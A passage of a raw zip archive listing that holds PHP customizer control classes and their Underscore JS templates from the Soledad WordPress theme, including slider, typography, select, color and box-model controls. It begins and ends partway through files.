	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-text';

	/**
	 * The input type
	 *
	 * @access public
	 * @var string
	 */
	public $input_type = 'text';

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
		<label>
			<span class="customize-control-title">
				{{{ data.label }}}
			</span>
			<# if ( data.description ) { #>
				<span class="description customize-control-description">{{{ data.description }}}</span>
			<# } #>
			<div>
				<input type="<?php echo esc_attr( $this->input_type ); ?>" {{{ data.link }}} value="{{ data.value }}"/>
			</div>
		</label>
		<?php
	}
}
PK     N\'D    <  inc/customizer/framework/customizer/control/class-preset.phpnu [        <?php
/**
 * Customizer Control: preset.
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Preset control (modified select).
 */
class Preset extends Control_Abstract {

    /**
     * The control type.
     *
     * @access public
     * @var string
     */
    public $type = 'soledad-fw-preset';

    /**
     * Used to automatically generate all CSS output.
     *
     * @access public
     * @var array
     */
    public $output = array();

    /**
     * Data type
     *
     * @access public
     * @var string
     */
    public $option_type = 'theme_mod';

    /**
     * Refresh the parameters passed to the JavaScript via JSON.
     *
     * @see WP_Customize_Control::to_json()
     */
    public function to_json() {
        parent::to_json();

        $this->json['default'] = $this->setting->default;
        if ( isset( $this->default ) ) {
            $this->json['default'] = $this->default;
        }
        $this->json['output']  = $this->output;
        $this->json['value']   = $this->value();
        $this->json['choices'] = $this->choices;
        $this->json['link']    = $this->get_link();
        $this->json['id']      = $this->id;

        if ( 'user_meta' === $this->option_type ) {
            $this->json['value'] = get_user_meta( get_current_user_id(), $this->id, true );
        }

        $this->json['inputAttrs'] = '';
        foreach ( $this->input_attrs as $attr => $value ) {
            $this->json['inputAttrs'] .= $attr . '="' . esc_attr( $value ) . '" ';
        }
    }

    /**
     * An Underscore (JS) template for this control's content (but not its container).
     *
     * Class variables for this control class are available in the `data` JS object;
     * export custom variables by overriding {@see WP_Customize_Control::to_json()}.
     *
     * @see WP_Customize_Control::print_template()
     *
     * @access protected
     */
    protected function content_template() {
        ?>
        <# if ( ! data.choices ) return; #>
            <label>
                <# if ( data.label ) { #>
                    <span class="customize-control-title">{{ data.label }}</span>
                <# } #>
                <# if ( data.description ) { #>
                    <span class="description customize-control-description">{{{ data.description }}}</span>
                <# } #>
                <select {{{ data.inputAttrs }}} {{{ data.link }}} data-multiple="1">
                    <# for ( key in data.choices ) { #>
                        <option value="{{ key }}"<# if ( key === data.value ) { #>selected<# } #>>
                            {{ data.choices[ key ]['label'] }}
                        </option>
                    <# } #>
                </select>
            </label>
        <?php
    }
}
PK     N\U3    <  inc/customizer/framework/customizer/control/class-header.phpnu [        <?php
/**
 * Customizer Control: Header
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Create a simple number control
 */
class Header extends Control_Abstract {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-header';

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
		<label>
			<# if ( data.label ) { #>
				<h2 class="customize-control-title" tabindex="">{{{ data.label }}}</h2>
			<# } #>
			<# if ( data.description ) { #>
				<em class="description customize-control-description">{{{ data.description }}}</em>
			<# } #>
		</label>
		<?php
	}
}
PK     N\?    =  inc/customizer/framework/customizer/control/class-spacing.phpnu [        <?php
/**
 * Customizer Control: spacing
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Spacing control.
 * multiple checkboxes with CSS units validation.
 */
class Spacing extends Control_Abstract {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-spacing';

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @access public
	 */
	public function to_json() {
		parent::to_json();
		$this->json['choices'] = array();
		if ( is_array( $this->choices ) ) {
			foreach ( $this->choices as $choice => $value ) {
				if ( true === $value ) {
					$this->json['choices'][ $choice ] = true;
				}
			}
		}

		if ( is_array( $this->json['default'] ) ) {
			foreach ( $this->json['default'] as $key => $value ) {
				if ( isset( $this->json['choices'][ $key ] ) && ! isset( $this->json['value'][ $key ] ) ) {
					$this->json['value'][ $key ] = $value;
				}
			}
		}
	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
		<label>
			<# if ( data.label ) { #>
				<span class="customize-control-title">{{{ data.label }}}</span>
			<# } #>
			<# if ( data.description ) { #>
				<span class="description customize-control-description">{{{ data.description }}}</span>
			<# } #>
			<div class="wrapper">
				<div class="control">
					<# for ( choiceKey in data.default ) { #>
						<div class="{{ choiceKey }}">
							<h5>{{ choiceKey }}</h5>
							<div class="{{ choiceKey }} input-wrapper">
								<input type="text" value="{{ data.value[ choiceKey ] }}"/>
								<span class="invalid-value"><?php echo esc_attr__( 'Value Invalid', 'soledad' ); ?></span>
							</div>
						</div>
					<# } #>
				</div>
			</div>
		</label>
		<?php
	}
}
PK     N\7T@  @  <  inc/customizer/framework/customizer/control/class-toggle.phpnu [        <?php
/**
 * Customizer Control: toggle
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Toggle control (modified checkbox).
 */
class Toggle extends Control_Abstract {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-toggle';

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
		<# if ( data.tooltip ) { #>
			<a href="#" class="tooltip hint--left" data-hint="{{ data.tooltip }}"><span class='dashicons dashicons-info'></span></a>
		<# } #>
		<label for="toggle_{{ data.id }}">
			<span class="customize-control-title">
				{{{ data.label }}}
			</span>
			<# if ( data.description ) { #>
				<span class="description customize-control-description">{{{ data.description }}}</span>
			<# } #>
			<input name="toggle_{{ data.id }}" id="toggle_{{ data.id }}" type="checkbox" value="{{ data.value }}" {{{ data.link }}} <# if ( '1' == data.value ) { #> checked<# } #> hidden />
			<span  class="switch"></span>
		</label>
		<?php
	}
}
PK     N\#5    <  inc/customizer/framework/customizer/control/class-slider.phpnu [        <?php
/**
 * Customizer Control: slider.
 *
 * Creates a jQuery slider control.
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Slider control (range).
 */
class Slider extends Control_Abstract {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-slider';

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @access public
	 */
	public function to_json() {
		parent::to_json();
		$this->json['choices']['min']  = ( isset( $this->choices['min'] ) ) ? $this->choices['min'] : '0';
		$this->json['choices']['max']  = ( isset( $this->choices['max'] ) ) ? $this->choices['max'] : '100';
		$this->json['choices']['step'] = ( isset( $this->choices['step'] ) ) ? $this->choices['step'] : '1';
	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
		<label>
			<# if ( data.label ) { #>
				<span class="customize-control-title">{{{ data.label }}}</span>
			<# } #>
			<# if ( data.description ) { #>
				<span class="description customize-control-description">{{{ data.description }}}</span>
			<# } #>
			<div class="wrapper">
				<input type="range" min="{{ data.choices['min'] }}" max="{{ data.choices['max'] }}" step="{{ data.choices['step'] }}" value="{{ data.value }}" {{{ data.link }}} data-reset_value="{{ data.default }}" />
				<div class="soledad_fw_range_value">
					<span class="value">{{ data.value }}</span>
					<# if ( data.choices['suffix'] ) { #>
						{{ data.choices['suffix'] }}
					<# } #>
				</div>
				<div class="soledad-fw-slider-reset">
					<span class="dashicons dashicons-image-rotate"></span>
				</div>
			</div>
		</label>
		<?php
	}
}
PK     N\1    @  inc/customizer/framework/customizer/control/class-typography.phpnu [        <?php
/**
 * Customizer Control: typography
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */
namespace SoledadFW\Customizer\Control;

/**
 * Typography control.
 */
class Typography extends Control_Abstract {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-typography';


	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @access public
	 */
	public function to_json() {
		parent::to_json();
		$defaults = array(
				'font-family'    	=> false,
				'font-size'      	=> false,
				'variant'        	=> false,
				'line-height'    	=> false,
				'letter-spacing' 	=> false,
				'color'          	=> false,
				'text-align'     	=> false,
				'text-transform'	=> true,
				'show_variants'		=> true,
				'show_subsets'		=> false,
		);

		$this->json['default'] = wp_parse_args( $this->json['default'], $defaults );
		$this->json['show_variants'] = $this->json['default']['show_variants'];
		$this->json['show_subsets']  = $this->json['default']['show_subsets'];
	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
		<label class="customizer-text">
			<# if ( data.label ) { #>
				<span class="customize-control-title">{{{ data.label }}}</span>
			<# } #>
			<# if ( data.description ) { #>
				<span class="description customize-control-description">{{{ data.description }}}</span>
			<# } #>
		</label>

		<div class="wrapper">

			<# if ( false !== data.default['font-family'] ) { #>
				<# if ( '' == data.value['font-family'] ) { data.value['font-family'] = data.default['font-family']; } #>
				<# if ( data.choices['fonts'] ) { data.fonts = data.choices['fonts']; } #>
				<div class="font-family">
					<h5>Font Family</h5>
					<select id="soledad-fw-typography-font-family-{{{ data.id }}}" placeholder="<?php echo esc_attr__('Select Font Family', 'soledad'); ?>"></select>
				</div>
				<# if ( true === data.show_variants || false !== data.default.variant ) { #>
					<div class="variant hide-on-standard-fonts soledad-fw-variant-wrapper">
						<h5>Font Variant</h5>
						<select class="variant" id="soledad-fw-typography-variant-{{{ data.id }}}"></select>
					</div>
				<# } #>
				<# if ( true === data.show_subsets ) { #>
					<div class="subsets hide-on-standard-fonts soledad-fw-subsets-wrapper">
						<h5>Font Subsets</h5>
						<select class="subset" id="soledad-fw-typography-subsets-{{{ data.id }}}"></select>
					</div>
				<# } #>
			<# } #>

			<# if ( false !== data.default['font-size'] ) { #>
				<div class="font-size">
					<h5>Font Size</h5>
					<input type="text" value="{{ data.value['font-size'] }}"/>
				</div>
			<# } #>

			<# if ( false !== data.default['line-height'] ) { #>
				<div class="line-height">
					<h5>Line Height</h5>
					<input type="text" value="{{ data.value['line-height'] }}"/>
				</div>
			<# } #>

			<# if ( false !== data.default['letter-spacing'] ) { #>
				<div class="letter-spacing">
					<h5>Letter Spacing</h5>
					<input type="text" value="{{ data.value['letter-spacing'] }}"/>
				</div>
			<# } #>

			<# if ( false !== data.default['text-align'] ) { #>
				<div class="text-align">
					<h5>Text Align</h5>
					<input type="radio" value="inherit" name="_customize-typography-text-align-radio-{{ data.id }}" id="{{ data.id }}-text-align-inherit" <# if ( data.value['text-align'] === 'inherit' ) { #> checked="checked"<# } #>>
						<label for="{{ data.id }}-text-align-inherit">
							<span class="dashicons dashicons-editor-removeformatting"></span>
							<span class="screen-reader-text">Inherit</span>
						</label>
					</input>
					<input type="radio" value="left" name="_customize-typography-text-align-radio-{{ data.id }}" id="{{ data.id }}-text-align-left" <# if ( data.value['text-align'] === 'left' ) { #> checked="checked"<# } #>>
						<label for="{{ data.id }}-text-align-left">
							<span class="dashicons dashicons-editor-alignleft"></span>
							<span class="screen-reader-text">Left</span>
						</label>
					</input>
					<input type="radio" value="center" name="_customize-typography-text-align-radio-{{ data.id }}" id="{{ data.id }}-text-align-center" <# if ( data.value['text-align'] === 'center' ) { #> checked="checked"<# } #>>
						<label for="{{ data.id }}-text-align-center">
							<span class="dashicons dashicons-editor-aligncenter"></span>
							<span class="screen-reader-text">Center</span>
						</label>
					</input>
					<input type="radio" value="right" name="_customize-typography-text-align-radio-{{ data.id }}" id="{{ data.id }}-text-align-right" <# if ( data.value['text-align'] === 'right' ) { #> checked="checked"<# } #>>
						<label for="{{ data.id }}-text-align-right">
							<span class="dashicons dashicons-editor-alignright"></span>
							<span class="screen-reader-text">Right</span>
						</label>
					</input>
					<input type="radio" value="justify" name="_customize-typography-text-align-radio-{{ data.id }}" id="{{ data.id }}-text-align-justify" <# if ( data.value['text-align'] === 'justify' ) { #> checked="checked"<# } #>>
						<label for="{{ data.id }}-text-align-justify">
							<span class="dashicons dashicons-editor-justify"></span>
							<span class="screen-reader-text">Justify</span>
						</label>
					</input>
				</div>
			<# } #>

			<# if ( false !== data.default['text-transform'] ) { #>
				<div class="text-transform">
					<h5>Transform</h5>
					<select id="soledad-fw-typography-text-transform-{{{ data.id }}}">
						<option value="none"<# if ( 'none' === data.value['text-transform'] ) { #>selected<# } #>>None</option>
						<option value="capitalize"<# if ( 'capitalize' === data.value['text-transform'] ) { #>selected<# } #>>Capitalize</option>
						<option value="uppercase"<# if ( 'uppercase' === data.value['text-transform'] ) { #>selected<# } #>>Uppercase</option>
						<option value="lowercase"<# if ( 'lowercase' === data.value['text-transform'] ) { #>selected<# } #>>Lowercase</option>
						<option value="initial"<# if ( 'initial' === data.value['text-transform'] ) { #>selected<# } #>>Initial</option>
						<option value="inherit"<# if ( 'inherit' === data.value['text-transform'] ) { #>selected<# } #>>Inherit</option>
					</select>
				</div>
			<# } #>

			<# if ( false !== data.default['color'] ) { #>
				<div class="color">
					<h5>Color</h5>
					<input type="text" data-palette="{{ data.palette }}" data-default-color="{{ data.default['color'] }}" value="{{ data.value['color'] }}" class="soledad-fw-color-control color-picker"/>
				</div>
			<# } #>
		</div>
		<?php
	}
}
PK     N\qe:;1  1  <  inc/customizer/framework/customizer/control/class-select.phpnu [        <?php
/**
 * Customizer Control: kirki-select.
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Select control.
 */
class Select extends Control_Abstract {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-select';

	/**
	 * Maximum number of options the user will be able to select.
	 * Set to 1 for single-select.
	 *
	 * @access public
	 * @var int
	 */
	public $multiple = 1;

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @access public
	 */
	public function to_json() {
		parent::to_json();
		$this->json['multiple'] = $this->multiple;
	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
		<# if ( ! data.choices ) return; #>
		<label>
			<# if ( data.label ) { #>
				<span class="customize-control-title">{{ data.label }}</span>
			<# } #>
			<# if ( data.description ) { #>
				<span class="description customize-control-description">{{{ data.description }}}</span>
			<# } #>
			<select {{{ data.link }}} data-multiple="{{ data.multiple }}"<# if ( 1 < data.multiple ) { #> multiple<# } #>>
				<# if ( 1 < data.multiple && data.value ) { #>
					<# for ( key in data.value ) { #>
						<option value="{{ data.value[ key ] }}" selected>{{ data.choices[ data.value[ key ] ] }}</option>
					<# } #>
					<# for ( key in data.choices ) { #>
						<# if ( data.value[ key ] in data.value ) { #>
						<# } else { #>
							<option value="{{ key }}">{{ data.choices[ key ] }}</option>
						<# } #>
					<# } #>
				<# } else { #>
					<# for ( key in data.choices ) { #>
						<option value="{{ key }}"<# if ( key === data.value ) { #>selected<# } #>>{{ data.choices[ key ] }}</option>
					<# } #>
				<# } #>
			</select>
		</label>
		<?php
	}
}
PK     N\?D    B  inc/customizer/framework/customizer/control/class-range-slider.phpnu [        <?php
/**
 * Customizer Control: slider.
 *
 * Creates a jQuery slider control.
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Slider control (range).
 */
class Range_Slider extends Control_Abstract {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-range-slider';

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @access public
	 */
	public function to_json() {
		parent::to_json();
		$this->json['choices']['min']  = ( isset( $this->choices['min'] ) ) ? $this->choices['min'] : '0';
		$this->json['choices']['max']  = ( isset( $this->choices['max'] ) ) ? $this->choices['max'] : '100';
		$this->json['choices']['step'] = ( isset( $this->choices['step'] ) ) ? $this->choices['step'] : '1';
	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
		<label>
			<# if ( data.label ) { #>
				<span class="customize-control-title">{{{ data.label }}}</span>
			<# } #>
			<# if ( data.description ) { #>
				<span class="description customize-control-description">{{{ data.description }}}</span>
			<# } #>
			<div class="wrapper">
				<div class="slider-range" range="{{data.value}}" bottom="{{data.value}}" min="{{ data.choices['min'] }}" max="{{ data.choices['max'] }}" step="{{ data.choices['step'] }}"></div>
			</div>
		</label>
		<?php
	}
}
PK     N\ua  a  ;  inc/customizer/framework/customizer/control/class-color.phpnu [        <?php
/**
 * Customizer Control: color.
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Adds a color & color-alpha control
 *
 * @see https://github.com/23r9i0/wp-color-picker-alpha
 */
class Color extends Control_Abstract {
	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-color';

	/**
	 * Colorpicker palette
	 *
	 * @access public
	 * @var bool
	 */
	public $palette = true;


	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @access public
	 */
	public function to_json() {
		parent::to_json();
		$this->json['palette']  = $this->palette;
		$this->choices['alpha'] = ( isset( $this->choices['alpha'] ) && $this->choices['alpha'] ) ? 'true' : 'false';
	}

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
		<label>
			<span class="customize-control-title">
				{{{ data.label }}}
			</span>
			<# if ( data.description ) { #>
				<span class="description customize-control-description">{{{ data.description }}}</span>
			<# } #>
			<div>
				<input type="text" data-palette="{{ data.palette }}" data-default-color="{{ data.default }}" data-alpha="{{ data.choices['alpha'] }}" value="{{ data.value }}" class="soledad-fw-color-control" {{{ data.link }}} />
			</div>
		</label>
		<?php
	}
}
PK     N\n0t    ?  inc/customizer/framework/customizer/control/class-box-model.phpnu [        <?php
/**
 * Customizer Control: Alert
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

use WP_Customize_Setting;

/**
 * Create a simple number control
 */
class Box_Model extends Control_Abstract {
	/**
	 * Control type
	 *
	 * @var string
	 */
	public $type = 'soledad-fw-box-model';

	public function to_json() {
		parent::to_json();
		$label                      = [
			0  => 'Top',
			1  => 'Right',
			2  => 'Bottom',
			3  => 'Left',
			4  => 'Top',
			5  => 'Right',
			6  => 'Bottom',
			7  => 'Left',
			8  => 'Top',
			9  => 'Right',
			10 => 'Bottom',
			11 => 'Left',
			12 => 'Top',
			13 => 'Right',
			14 => 'Bottom',
			15 => 'Left',
		];
		$saved_values               = ( ! is_array( $this->value() ) && ! empty( $this->value() ) ) ? explode( ', ', $this->value() ) : explode( ', ', '\'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\', \'\'' );
		$this->json['saved']        = $saved_values;
		$this->json['choices']      = $this->choices;
		$this->json['control_link'] = $this->get_control_link();
		$this->json['item_label']   = $label;
		$this->json['value']        = implode( '-', $saved_values );
	}

	public function get_control_link( $setting_key = 'default' ) {
		if ( isset( $this->settings[ $setting_key ] ) && $this->settings[ $setting_key ] instanceof WP_Customize_Setting ) {
			return 'data-customize-setting-link=' . esc_attr( $this->settings[ $setting_key ]->id );
		} else {
			return 'data-customize-setting-key-link=' . esc_attr( $setting_key );
		}
	}

	/**
	 * Control method
	 *
	 * @since 1.0.0
	 */
	public function content_template() {
		?>
        <# if ( data.label ) { #>
        <span class="customize-control-title">{{{ data.label }}}</span>
        <# } #>
        <# if ( data.description ) { #>
        <p class="description customize-control-description">{{{ data.description }}}</p>
        <# } #>
        <div class="box-model-wrapper">
            <# _.each(data.choices,function(eachItem,index){ #>
            <# if ( 'margin' === index ) { #>
            <div class="box-model box-model-margin">
                <h4 class="box-head">Margin</h4>
                <# margin_count = 0; #>
                <# _.each(eachItem,function(m_value,m_key){ #>
                <div class="box-spacing-item">
                    <span class="box-title">{{data.item_label[margin_count]}}</span>
                    <input type="number" placeholder="-" value="{{data.saved[margin_count]}}"
                           class="box-model-field {{m_key}}">
                </div>
                <# margin_count++; #>
                <# }) #>
            </div>
            <# } #>
            <# if ( 'padding' === index ) { #>
            <div class="box-model box-model-padding">
                <h4 class="box-head">Padding</h4>
                <# padding_count = 4; #>
                <# _.each(eachItem,function(p_value,p_key){ #>
                <div class="box-spacing-item">
                    <span class="box-title">{{data.item_label[padding_count]}}</span>
                    <input type="number" placeholder="-" value="{{data.saved[padding_count]}}"
                           class="box-model-field {{p_key}}">
                </div>
                <# padding_count++; #>
                <# }) #>
            </div>
            <# } #>
            <# if ( 'border' === index ) { #>
            <div class="box-model box-model-border">
                <h4 class="box-head">Borders Width</h4>
                <# border_count = 8; #>
                <# _.each(eachItem,function(b_value,b_key){ #>
                <div class="box-spacing-item">
                    <span class="box-title">{{data.item_label[border_count]}}</span>
                    <input type="number" placeholder="-" value="{{data.saved[border_count]}}"
                           class="box-model-field {{b_key}}">
                </div>
                <# border_count++; #>
                <# }) #>
            </div>
            <# } #>
            <# if ( 'border-radius' === index ) { #>
            <div class="box-model box-model-border-radius">
                <h4 class="box-head">Borders Radius</h4>
                <# r_count = 12; #>
                <# _.each(eachItem,function(r_value,r_key){ #>
                <div class="box-spacing-item">
                    <span class="box-title">{{data.item_label[r_count]}}</span>
                    <input type="number" placeholder="-" value="{{data.saved[r_count]}}"
                           class="box-model-field {{r_key}}">
                </div>
                <# r_count++; #>
                <# }) #>
            </div>
            <# } #>
            <# }) #>
            <input type="hidden" class="box-model-saved" {{data.control_link}} value="{{data.value}}"/>
        </div>
		<?php
	}
}
PK     N\9â
  
  A  inc/customizer/framework/customizer/control/class-ajax-select.phpnu [        <?php
/**
 * Customizer Control: kirki-select.
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */
namespace SoledadFW\Customizer\Control;

/**
 * Select control.
 */
class Ajax_Select extends Control_Abstract {

    /**
     * The control type.
     *
     * @access public
     * @var string
     */
    public $type = 'soledad-fw-ajax-select';

    /**
     * Maximum number of options the user will be able to select.
     * Set to 1 for single-select.
     *
     * @access public
     * @var int
     */
    public $multiple = 1;

    /**
     * @var string
     */
    public $ajax_action;

    /**
     * Refresh the parameters passed to the JavaScript via JSON.
     *
     * @access public
     */
    public function to_json() {
        parent::to_json();
        $this->json['multiple'] = $this->multiple;
        $this->json['ajax_action'] = $this->ajax_action;
    }

    /**
     * An Underscore (JS) template for this control's content (but not its container).
     *
     * Class variables for this control class are available in the `data` JS object;
     * export custom variables by overriding
     *
     * @see WP_Customize_Control::print_template()
     *
     * @access protected
     */
    protected function content_template() {
        ?>
        <# if ( ! data.choices ) return; #>
        <label>
            <# if ( data.label ) { #>
                <span class="customize-control-title">{{ data.label }}</span>
            <# } #>
            <# if ( data.description ) { #>
                <span class="description customize-control-description">{{{ data.description }}}</span>
            <# } #>
            <select {{{ data.link }}} data-multiple="{{ data.multiple }}"<# if ( 1 < data.multiple ) { #> multiple<# } #> data-action="{{{ data.ajax_action }}}">
                <# if ( 1 < data.multiple && data.value ) { #>
                    <# for ( key in data.value ) { #>
                        <option value="{{ data.value[ key ] }}" selected>{{ data.choices[ data.value[ key ] ] }}</option>
                    <# } #>
                    <# for ( key in data.choices ) { #>
                        <# if ( data.value[ key ] in data.value ) { #>
                        <# } else { #>
                            <option value="{{ key }}">{{ data.choices[ key ] }}</option>
                        <# } #>
                    <# } #>
                <# } else { #>
                    <# for ( key in data.choices ) { #>
                        <option value="{{ key }}"<# if ( key === data.value ) { #>selected<# } #>>{{ data.choices[ key ] }}</option>
                    <# } #>
                <# } #>
            </select>
        </label>
        <?php
    }
}
PK     N\0k    F  inc/customizer/framework/customizer/control/class-radio-button-set.phpnu [        <?php
/**
 * Customizer Control: radio-buttonset.
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Radio Buttonset control (modified radio)
 */
class Radio_Button_Set extends Control_Abstract {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-radio-buttonset';

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
		<# if ( data.label ) { #>
			<span class="customize-control-title">{{{ data.label }}}</span>
		<# } #>
		<# if ( data.description ) { #>
			<span class="description customize-control-description">{{{ data.description }}}</span>
		<# } #>
		<div id="input_{{ data.id }}" class="buttonset">
			<# for ( key in data.choices ) { #>
				<input class="switch-input" type="radio" value="{{ key }}" name="_customize-radio-{{{ data.id }}}" id="{{ data.id }}{{ key }}" {{{ data.link }}}<# if ( key === data.value ) { #> checked="checked" <# } #>>
					<label class="switch-label switch-label-<# if ( key === data.value ) { #>on <# } else { #>off<# } #>" for="{{ data.id }}{{ key }}">
						{{ data.choices[ key ] }}
					</label>
				</input>
			<# } #>
		</div>
		<?php
	}
}
PK     N\P    ;  inc/customizer/framework/customizer/control/class-image.phpnu [        <?php
/**
 * Customizer Control: Alert
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Create a simple number control
 */
class Image extends \WP_Customize_Image_Control {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-image';

	/**
	 * Used to automatically generate all postMessage scripts.
	 *
	 * @access public
	 * @var array
	 */
	public $postvar = array();

	/**
	 * Used to automatically generate all CSS output.
	 *
	 * @access public
	 * @var array
	 */
	public $output = array();

	/**
	 * Wrapper Class
	 *
	 * @var String
	 */
	public $wrapper_class;

	/**
	 * Active callback rule
	 *
	 * @var array
	 */
	public $active_rule;

	/**
	 * Partial refresh element
	 *
	 * @var
	 */
	public $partial_refresh;

	/**
	 * Check if control created dynamically
	 *
	 * @var boolean
	 */
	public $dynamic;

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @see WP_Customize_Control::to_json()
	 */
	public function to_json() {
		parent::to_json();

		$this->json['postvar']         = $this->postvar;
		$this->json['wrapper_class']   = $this->wrapper_class;
		$this->json['active_rule']     = $this->active_rule;
		$this->json['output']          = $this->output;
		$this->json['partial_refresh'] = $this->partial_refresh;
		$this->json['dynamic']         = $this->dynamic;
	}
}
PK     N\`      <  inc/customizer/framework/customizer/control/class-hidden.phpnu [        <?php
/**
 * Customizer Control: text.
 *
 * Creates a text
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Slider control (range).
 */
class Hidden extends Control_Abstract {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-hidden';

	/**
	 * The input type
	 *
	 * @access public
	 * @var string
	 */
	public $input_type = 'hidden';

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
	}
}
PK     N\?ź    B  inc/customizer/framework/customizer/control/class-preset-image.phpnu [        <?php
/**
 * Customizer Control: preset-image.
 *
 * @author PenciDesign
 * @since 1.0.0
 * @package soledad
 */

namespace SoledadFW\Customizer\Control;

/**
 * Radio Image control (modified radio).
 */
class Preset_Image extends Control_Abstract {

	/**
	 * The control type.
	 *
	 * @access public
	 * @var string
	 */
	public $type = 'soledad-fw-preset-image';

	/**
	 * An Underscore (JS) template for this control's content (but not its container).
	 *
	 * Class variables for this control class are available in the `data` JS object;
	 * export custom variables by overriding
	 *
	 * @see WP_Customize_Control::print_template()
	 *
	 * @access protected
	 */
	protected function content_template() {
		?>
		<label class="customizer-text">
			<# if ( data.label ) { #>
				<span class="customize-control-title">{{{ data.label }}}</span>
			<# } #>
			<# if ( data.description ) { #>
				<span class="description customize-control-description">{{{ data.description }}}</span>
			<# } #>
		</label>
		<div id="input_{{ data.id }}" data-link="{{ data.default }}" class="image">
			<# for ( key in data.choices ) { #>
				<label for="{{ data.id }}{{ key }}" data-id="{{ key }}">
